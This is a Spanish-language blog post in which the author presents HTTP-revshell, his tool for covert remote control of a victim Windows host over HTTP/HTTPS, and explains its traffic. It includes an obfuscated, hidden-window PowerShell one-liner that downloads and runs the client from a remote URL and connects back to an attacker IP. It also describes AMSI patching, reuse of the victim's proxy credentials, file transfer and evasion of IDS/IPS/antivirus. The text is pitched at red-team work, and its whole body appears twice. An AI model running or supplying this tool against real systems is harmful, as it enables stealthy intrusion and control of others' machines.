Hola a tod@s, mi nombre es Héctor de Armas, 3v4Si0N para los juankers y voy a presentarles una herramienta que desarrollé durante el confinamiento. Esta herramienta se hace llamar HTTP-revshell y consiste en la utilización de un canal encubierto (covert channel) para obtener control sobre el equipo víctima a través de peticiones web y de esta forma evadir soluciones como un IDS, IPS y AV.
Bueno, ¿y qué diablos es un covert channel?
Pues básicamente, es la manipulación de un protocolo de comunicación (en este caso HTTP y HTTPS) para enviar información de una manera fuera de la especificación del protocolo.
HTTP-revshell se ha desarrollado para ser utilizada en ejercicios de RedTeam y/o pentest para poner a prueba las capacidades de detección de las soluciones de seguridad que una empresa puede tener implementadas (siempre para hacer el bien y nunca para el mal, sed buenos).
Utilización de HTTP-revshell
Comenzamos con la instalación de la herramienta. Lo primero, descargar el repositorio que se encuentra en la siguiente URL:
• https://github.com/3v4Si0N/HTTP-revshell
Para realizar una pequeña muestra de cómo funciona vamos a utilizar la versión de la rama dev ya que, actualmente como se encuentra en desarrollo, está más actualizada que la versión de la rama master. Para ello, utilizamos el siguiente comando:
git clone -b dev https://github.com/3v4Si0N/HTTP-revshell.git
Instalamos las dependencias:
cd HTTP-revshell && pip3 install -r requirements.txt
Una vez instaladas todas las dependencias, únicamente queda levantar el servidor web que es el que recibirá las conexiones para poder controlar el equipo.
Actualmente, se encuentran en desarrollo dos versiones del servidor (server.py y server-mutisession.py). El servidor multisession, como su nombre indica, ofrece la posibilidad de controlar más de un equipo al mismo tiempo, en cambio server.py únicamente funciona con un único cliente.
Vamos por partes, en primer lugar, se va a mostrar cómo funciona la herramienta utilizando el server.py. Como se puede observar en la ayuda de la herramienta, existe un argumento opcional llamado --ssl. Este flag permite cifrar el tráfico punto a punto y de este modo imposibilitar la visualización del tráfico a curiosos y la detección por parte de las soluciones a nivel de red (siempre y cuando la solución no tenga la capacidad de descifrar el tráfico HTTPS, que en este caso no funcionaría).
Y sin más dilación, ejecutamos el servidor:
En este momento la herramienta se encuentra en escucha esperando a que un cliente se conecte.
Por otro lado, en el repositorio se puede encontrar el cliente (Invoke-WebRev.ps1). Este script desarrollado en PowerShell es el cliente que va a interactuar con el servidor y el cual tiene que ser ejecutado en la víctima.
Para ejecutar el script en la víctima se puede realizar ejecutando el siguiente comando, cambiando la dirección IP y puerto por el que ustedes quieran (y hayan puesto en el servidor):
powershell -w h -nop "$x = 'serevjo-ei-ycixefo'; Set-alias $x ($x[$true-10] + ($x[[byte]('0x' + 'FF') - 265]) + $x[[byte]('0x' + '9a') - 158]); serevjo-ei-ycixefo (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3v4Si0N/HTTP-revshell/dev/Invoke-WebRev.ps1'); Invoke-WebRev -ip 192.168.224.130 -p 80"
Otra manera de ejecutar el script es subiéndolo a la víctima y ejecutando el siguiente comando:
. .\Invoke-WebRev.ps1; Invoke-WebRev -ip 192.168.224.130 -port 80
Una vez que el cliente se conecta al servidor, aparece el siguiente mensaje confirmando que se controla el equipo con los permisos del usuario que ha ejecutado el script Invoke-WebRev:
Seguidamente, el proceso donde se está ejecutando Invoke-WebRev ha sido parcheado para evitar las detecciones por parte del molesto e indeseado AMSI.
Como se puede ver a continuación, la máquina donde se está ejecutando HTTP-revshell tiene AMSI habilitado (se puede comprobar escribiendo amsiutils o amsiscanbuffer en la terminal):
En cambio, si realizamos exactamente lo mismo desde HTTP-revshell, se puede observar cómo AMSI ha sido parcheado, ya que el mensaje “This script contains malicious content…” no lo vemos:
Al igual que las herramientas evil-winrm y EvilSalsa de Cybervaca, se ha implementado en HTTP-revshell dos funciones básicas que facilitan la transferencia de ficheros de la máquina atacante a la máquina víctima y viceversa.
upload
download
Si queréis saber cómo se utiliza el server-multisession.py, podéis echarle un ojo al post que escribió mi compañero JoelGMSec en su blog en la siguiente URL:
• https://darkbyte.net/jugando-con-remote-shells-parte-i-http-revshell/
Es importante destacar que si en algún momento por equivocación se presionan las teclas Ctrl + C y el servidor se cierra, el cliente intentará reconectarse indefinidamente (enviando paquetes SYN) hasta que el servidor vuelva a estar operativo. Nosotros como atacantes, solamente tenemos que volver a ejecutar el servidor para recuperar la conexión:
En la imagen anterior, podemos ver que se ha recibido un error debido a que la última petición que ha realizado el cliente no ha sido satisfactoria ya que el servidor se encontraba caído, pero como se puede comprobar la conexión se restablece y como si nada hubiera pasado :-).
Para cerrar completamente la sesión es necesario ejecutar el comando exit.
Destripando la herramienta
Una de las cosas más importantes a la hora de evadir una solución de seguridad a nivel de red, es pasar desapercibido para no ser detectado. En este caso, era muy importante que el tráfico que generase la herramienta fuera lo más legítimo posible y evitase un flood innecesario de peticiones.
Si ponemos un Wireshark a la escucha, podemos observar cómo se comporta la herramienta por debajo.
Lo primero que realiza el cliente cuando se conecta al servidor web es enviar una petición al servidor para indicarle que ha establecido sesión correctamente.
Como se puede observar, el servidor no responde hasta que nosotros no escribamos un comando. Pero, lo más sorprendente y lo más importante de cara a una posible detección por comportamiento a nivel de red, es que el cliente no envía ninguna petición más hasta que el servidor no conteste.
En el caso de que escribamos un comando, como por ejemplo whoami, el servidor contesta a través de la cabecera Authorization con el comando encodeado en base64:
Como se puede observar en la imagen anterior, rápidamente el cliente vuelve a enviar otra petición web al servidor (No. 121) con la respuesta del comando que el servidor le ha enviado:
Los datos como se puede observar son enviados utilizando JSON. El resultado es encodeado en base64 para facilitar la transferencia. Además, se envía un parámetro extra en cada petición web llamado pwd el cual contiene el path donde se encuentra en ese momento el cliente. De este modo, se controla en todo momento en qué carpeta del filesystem se encuentra.
Por otro lado, si utilizamos una conexión a través de HTTPS, podemos observar cómo el tráfico está cifrado y no podemos inspeccionarlo:
Para terminar, otra de las características importantes de la herramienta es que el cliente se autoconfigura si detecta que el equipo infectado utiliza un proxy para salir a Internet. Nosotros como atacantes no tenemos que conocer las credenciales del usuario para obtener una conexión con el servidor.
Únicamente con las siguientes dos líneas de código se consigue el objetivo:
[System.Net.WebRequest]::DefaultWebProxy = [System.Net.WebRequest]::GetSystemWebProxy();
[System.Net.WebRequest]::DefaultWebProxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
En un futuro no muy lejano, actualizaré la herramienta para que en caso de que ustedes quieran modificar las credenciales del proxy, puedan hacerlo sin ningún problema.
Espero que os haya gustado, y como dice nuestro compañero Cybervaca:
“Para vosotr@s jugador@s”.
Un saludo.
Pues básicamente, es la manipulación de un protocolo de comunicación (en este caso HTTP y HTTPS) para enviar información de una manera fuera de la especificación del protocolo.
HTTP-revshell se ha desarrollado para ser utilizada en ejercicios de RedTeam y/o pentest para poner a prueba las capacidades de detección de las soluciones de seguridad que una empresa puede tener implementadas (siempre para hacer el bien y nunca para el mal, sed buenos).
Utilización de HTTP-revshell
Comenzamos con la instalación de la herramienta. Lo primero, descargar el repositorio que se encuentra en la siguiente URL:
• https://github.com/3v4Si0N/HTTP-revshell
Para realizar una pequeña muestra de cómo funciona vamos a utilizar la versión de la rama dev ya que, actualmente como se encuentra en desarrollo, está más actualizada que la versión de la rama master. Para ello, utilizamos el siguiente comando:
git clone -b dev https://github.com/3v4Si0N/HTTP-revshell.git
Instalamos las dependencias:
cd HTTP-revshell && pip3 install -r requirements.txt
Una vez instaladas todas las dependencias, únicamente queda levantar el servidor web que es el que recibirá las conexiones para poder controlar el equipo.
Actualmente, se encuentran en desarrollo dos versiones del servidor (server.py y server-mutisession.py). El servidor multisession, como su nombre indica, ofrece la posibilidad de controlar más de un equipo al mismo tiempo, en cambio server.py únicamente funciona con un único cliente.
Vamos por partes, en primer lugar, se va a mostrar cómo funciona la herramienta utilizando el server.py. Como se puede observar en la ayuda de la herramienta, existe un argumento opcional llamado --ssl. Este flag permite cifrar el tráfico punto a punto y de este modo imposibilitar la visualización del tráfico a curiosos y la detección por parte de las soluciones a nivel de red (siempre y cuando la solución no tenga la capacidad de descifrar el tráfico HTTPS, que en este caso no funcionaría).
Y sin más dilación, ejecutamos el servidor:
En este momento la herramienta se encuentra en escucha esperando a que un cliente se conecte.
Por otro lado, en el repositorio se puede encontrar el cliente (Invoke-WebRev.ps1). Este script desarrollado en PowerShell es el cliente que va a interactuar con el servidor y el cual tiene que ser ejecutado en la víctima.
Para ejecutar el script en la víctima se puede realizar ejecutando el siguiente comando, cambiando la dirección IP y puerto por el que ustedes quieran (y hayan puesto en el servidor):
powershell -w h -nop "$x = 'serevjo-ei-ycixefo'; Set-alias $x ($x[$true-10] + ($x[[byte]('0x' + 'FF') - 265]) + $x[[byte]('0x' + '9a') - 158]); serevjo-ei-ycixefo (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3v4Si0N/HTTP-revshell/dev/Invoke-WebRev.ps1'); Invoke-WebRev -ip 192.168.224.130 -p 80"
Otra manera de ejecutar el script es subiéndolo a la víctima y ejecutando el siguiente comando:
. .\Invoke-WebRev.ps1; Invoke-WebRev -ip 192.168.224.130 -port 80
Una vez que el cliente se conecta al servidor, aparece el siguiente mensaje confirmando que se controla el equipo con los permisos del usuario que ha ejecutado el script Invoke-WebRev:
Seguidamente, el proceso donde se está ejecutando Invoke-WebRev ha sido parcheado para evitar las detecciones por parte del molesto e indeseado AMSI.
Como se puede ver a continuación, la máquina donde se está ejecutando HTTP-revshell tiene AMSI habilitado (se puede comprobar escribiendo amsiutils o amsiscanbuffer en la terminal):
En cambio, si realizamos exactamente lo mismo desde HTTP-revshell, se puede observar cómo AMSI ha sido parcheado, ya que el mensaje “This script contains malicious content…” no lo vemos:
Al igual que las herramientas evil-winrm y EvilSalsa de Cybervaca, se ha implementado en HTTP-revshell dos funciones básicas que facilitan la transferencia de ficheros de la máquina atacante a la máquina víctima y viceversa.
upload
download
Si queréis saber cómo se utiliza el server-multisession.py, podéis echarle un ojo al post que escribió mi compañero JoelGMSec en su blog en la siguiente URL:
• https://darkbyte.net/jugando-con-remote-shells-parte-i-http-revshell/
Es importante destacar que si en algún momento por equivocación se presionan las teclas Ctrl + C y el servidor se cierra, el cliente intentará reconectarse indefinidamente (enviando paquetes SYN) hasta que el servidor vuelva a estar operativo. Nosotros como atacantes, solamente tenemos que volver a ejecutar el servidor para recuperar la conexión:
En la imagen anterior, podemos ver que se ha recibido un error debido a que la última petición que ha realizado el cliente no ha sido satisfactoria ya que el servidor se encontraba caído, pero como se puede comprobar la conexión se restablece y como si nada hubiera pasado :-).
Para cerrar completamente la sesión es necesario ejecutar el comando exit.
Destripando la herramienta
Una de las cosas más importantes a la hora de evadir una solución de seguridad a nivel de red, es pasar desapercibido para no ser detectado. En este caso, era muy importante que el tráfico que generase la herramienta fuera lo más legítimo posible y evitase un flood innecesario de peticiones.
Si ponemos un Wireshark a la escucha, podemos observar cómo se comporta la herramienta por debajo.
Lo primero que realiza el cliente cuando se conecta al servidor web es enviar una petición al servidor para indicarle que ha establecido sesión correctamente.
Como se puede observar, el servidor no responde hasta que nosotros no escribamos un comando. Pero, lo más sorprendente y lo más importante de cara a una posible detección por comportamiento a nivel de red, es que el cliente no envía ninguna petición más hasta que el servidor no conteste.
En el caso de que escribamos un comando, como por ejemplo whoami, el servidor contesta a través de la cabecera Authorization con el comando encodeado en base64:
Como se puede observar en la imagen anterior, rápidamente el cliente vuelve a enviar otra petición web al servidor (No. 121) con la respuesta del comando que el servidor le ha enviado:
Los datos como se puede observar son enviados utilizando JSON. El resultado es encodeado en base64 para facilitar la transferencia. Además, se envía un parámetro extra en cada petición web llamado pwd el cual contiene el path donde se encuentra en ese momento el cliente. De este modo, se controla en todo momento en qué carpeta del filesystem se encuentra.
Por otro lado, si utilizamos una conexión a través de HTTPS, podemos observar cómo el tráfico está cifrado y no podemos inspeccionarlo:
Para terminar, otra de las características importantes de la herramienta es que el cliente se autoconfigura si detecta que el equipo infectado utiliza un proxy para salir a Internet. Nosotros como atacantes no tenemos que conocer las credenciales del usuario para obtener una conexión con el servidor.
Únicamente con las siguientes dos líneas de código se consigue el objetivo:
[System.Net.WebRequest]::DefaultWebProxy = [System.Net.WebRequest]::GetSystemWebProxy();
[System.Net.WebRequest]::DefaultWebProxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
En un futuro no muy lejano, actualizaré la herramienta para que en caso de que ustedes quieran modificar las credenciales del proxy, puedan hacerlo sin ningún problema.
Espero que os haya gustado, y como dice nuestro compañero Cybervaca:
“Para vosotr@s jugador@s”.
Un saludo.
Comentarios
Publicar un comentario